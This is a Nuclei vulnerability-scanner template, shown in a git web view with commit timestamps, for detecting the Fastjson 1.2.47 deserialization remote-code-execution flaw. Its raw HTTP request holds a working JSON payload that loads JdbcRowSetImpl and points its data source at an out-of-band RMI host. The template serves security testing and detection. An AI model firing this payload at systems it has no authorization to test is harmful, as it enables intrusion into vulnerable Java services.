nuclei-templates/vulnerabilities/fastjson/fastjson-1.2.47-rce.yaml

44 lines
1.1 KiB
YAML
Raw Normal View History

id: fastjson-1.2.47-rce
info:
name: Fastjson 1.2.47 Deserialization RCE
author: zh
severity: critical
reference:
- https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce
- https://www.freebuf.com/vuls/208339.html
- https://cert.360.cn/warning/detail?id=7240aeab581c6dc2c9c5350756079955
2021-10-12 05:57:50 +00:00
- https://github.com/wyzxxz/fastjson_rce_tool
2021-10-18 20:40:26 +00:00
tags: fastjson,rce,deserialization,oast
requests:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://{{interactsh-url}}/Exploit",
"autoCommit":true
}
}
matchers-condition: and
matchers:
- type: word
2021-10-12 05:57:50 +00:00
part: interactsh_protocol # Confirms DNS Interaction
words:
- "dns"
- type: word
condition: and
words:
- "Bad Request"
- "400"